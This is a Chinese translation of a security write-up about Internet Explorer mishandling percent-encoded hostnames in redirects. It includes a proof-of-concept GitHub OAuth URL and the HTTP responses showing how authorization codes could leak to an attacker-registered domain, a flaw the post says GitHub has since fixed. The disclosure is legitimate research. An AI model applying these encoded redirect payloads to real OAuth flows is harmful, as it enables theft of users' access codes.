標籤:

(譯)IE URL處理不當引來的血案

作者:File Descriptor(推特:twitter.com/filedescrip

原文地址:Internet Explorer has a URL problem

譯者:雪ノ下月乃

Internet Explorer has a URL problem

處理一個URL其實很容易搞雜。稍稍不慎就可能引發或小或大的危害。在這篇文章里,我將利用IE重定向問題來展示一個有趣的RPO攻擊。

盜取Github OAuth信息

URL 編碼,又叫百分號編碼,經常用於查詢語句或者請求主體。不僅如此,主機名也同樣支持URL 編碼。然而,當 IE 瀏覽器重定向到被 URL 編碼過的主機,會有奇妙的事情發生。舉個例子,當你在 Windows 7 /8.1 打開 IE 瀏覽以下網頁,你會發現它的重定向地和其他瀏覽器不同:

https://httpbin.org/redirect-to?url=http://%2577%2577%2577%252E%256D%2569%2563%2572%256F%2573%256F%2566%2574%252E%2563%256F%256D/testn

響應:

HTTP/1.1 302 Found nlocation: http://%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D/test n

  • IE的URL跳轉目的地:microsoft.com9crosoft.com
  • 其他的目的地:microsoft.com/test

這種奇葩行為是 Sergey Bobrov 發現的,與此類似的 bug 在 Micha? Bentkowski的博客[1]也被提及了。總的來說, IE 疊加了一些編碼內容到解碼內容中,然後組合在一起返回。因此最終的跳轉地址和原來給的不一樣了。這個 bug 在 Win10 的 IE11 中被修復了,但是 Win 7 / 8.1 的 IE 11 還遺留類似問題。

無論如何,如果一個跳轉使用編碼後的主機名,那麼用戶就有可能被重定向到意料之外的域名。

有趣的是, Github 的 OAuth 驗證頁,其跳轉URL接受帶有編碼的主機名。打個比方,Github Gist 原只能使用

https://gist.github.com/auth/github/callback/n

作為callback URL,不過因為編碼原因,

https://%2567%2569%2573%2574.github.com/auth/github/callback/n

也被接受。不過,如果我們直接使用上邊的URL當作返回地址的話,Github返回的 HTTP Location頭參數會和傳遞沒有編碼過的地址效果一樣。就是有沒有編碼都同樣返回

https://gist.github.com/auth/github/callback/ n

雖然我還並不清楚Github怎麼處理URL才產生這樣的問題,然而當我們三重編碼時

https://%252567%252569%252573%252574.github.com/auth/github/callback/n

, 我們會得到一個保留著編碼的 Location 頭。即這樣的:

https://%67%69%73%74 .http://github.com/auth/github/callback/n

按照作者的描述,修復這個漏洞前 Github 好像只會默認解碼兩次

Poc:

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect%5furi=https%3A%2F%2F%252567%252569%252573%252574.github.com%2Fauth%2Fgithub%2Fcallback&response%5ftype=coden

響應:

HTTP/1.1 302 Found nlocation: https://%67%69%73%74.github.com/auth/github/callback/?code={{$CODE}} n

IE的重定向:

https://gist.github.comthub.com/auth/github/callback?code={{$CODE}}n

其他瀏覽器的重定向:

http://gist.github.com/auth/github/callback?code={{$CODE}}n

如你所見,IE最終的跳轉是一個未註冊的域名 gist.github.comthub.com 。Gist是一個Github帳號的預授權應用,因此,訪問Poc鏈接的用戶都會直接泄露 Code 給擁有此域名的攻擊者。當然,這個漏洞也影響其它的應用。

Github最終決定在後台先解碼到沒編碼為止再發送 Location 頭給瀏覽器端。

[1]: MB Blog, XSS via host header, blog.bentkowski.info/20

推薦閱讀:

揭秘無文件惡意軟體的前生今世
自動化檢測CSRF(第一章)
走進敏捷|成老師教你做線上推廣
Tor的內鬥竟是因為他?

TAG:信息安全 | URL |